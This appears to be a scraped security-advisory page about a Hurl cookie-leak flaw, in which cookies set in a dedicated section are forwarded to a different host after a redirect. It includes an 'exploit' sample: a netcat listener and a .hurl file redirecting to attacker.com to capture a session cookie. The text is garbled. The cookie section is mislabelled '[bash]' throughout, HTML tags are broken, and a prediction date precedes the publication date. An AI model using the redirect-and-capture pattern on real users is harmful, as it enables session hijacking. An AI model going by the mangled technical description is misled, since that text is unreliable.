Listen to this Post
Hurl is a command-line tool that runs and tests HTTP requests defined in plain text files. In version 8.0.1 and earlier, Hurl allows cookies to be defined in two distinct ways within a `.hurl` file: as a raw `Cookie` header in the `
` section, or in a dedicated `[bash]` section which is parsed into <code>RequestSpec.cookies</code>. When Hurl follows an HTTP redirect to a different host, it correctly strips security-sensitive data—including the `Authorization` header, the `Cookie` header, and basic authentication credentials—to prevent credential leakage across origins, mirroring libcurl's default behavior. However, this stripping logic only applies to cookies sent via the raw `Cookie` header. Cookies declared in the dedicated `[bash]` section are not subject to this sanitization and are carried over unchanged to the redirected request on the new host. An attacker who can control the redirect target can therefore receive authentication or session cookies that should remain scoped exclusively to the original host. Cookies supplied through a raw `Cookie` header are stripped and are not affected by this specific vulnerability path. This flaw constitutes an insertion of sensitive information into sent data, classified as CWE-201. The vulnerability is fixed in Hurl version 8.1.0. <h2 style="color: blue;">DailyCVE Form:</h2> Platform: Hurl Version: <= 8.0.1 Vulnerability: Cookie Leak Severity: Medium (CVSS 6.9) date: 2026-08-20 <h2 style="color: blue;">Prediction: 2026-07-01</h2> <h2 style="color: blue;">What Undercode Say:</h2> <h2 style="color: blue;">Check your Hurl version:</h2> [bash] hurl --version
Vulnerable files use `
` section:</h2>
[bash]
GET http://localhost:8000/follow-redirect-basic-auth?change_host=true
[bash]
fruit: lemon
HTTP 200
Safe files use raw `Cookie` header:
GET http://localhost:8000/follow-redirect-basic-auth?change_host=true
Cookie: fruit=lemon
HTTP 200
Exploit: (Educational Purposes!)
An attacker sets up a malicious server and tricks a victim into running a Hurl file that follows a redirect to the attacker’s host. The `
` section cookies are sent to the attacker's server. <h2 style="color: blue;">Malicious redirect target:</h2> [bash] Attacker-controlled server logging incoming cookies nc -lvp 8080
Victim’s vulnerable `.hurl` file:
GET http://victim.com/redirect?to=http://attacker.com:8080 [bash] session_id: abc123 HTTP 200
Protection:
Upgrade to Hurl version 8.1.0 or later:
cargo install hurl --version 8.1.0 or use your package manager's updated version
Until upgrading, use the raw `Cookie` header instead of the `
` section: [bash] Cookie: session_id=abc123
Impact:
An attacker who controls the redirect destination can receive authentication cookies, session tokens, or other sensitive credentials that were intended only for the original host. This can lead to session hijacking, unauthorized account access, and further compromise of the user’s identity and data. The attack requires user interaction (the victim must run the Hurl file) and is exploitable over the network.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
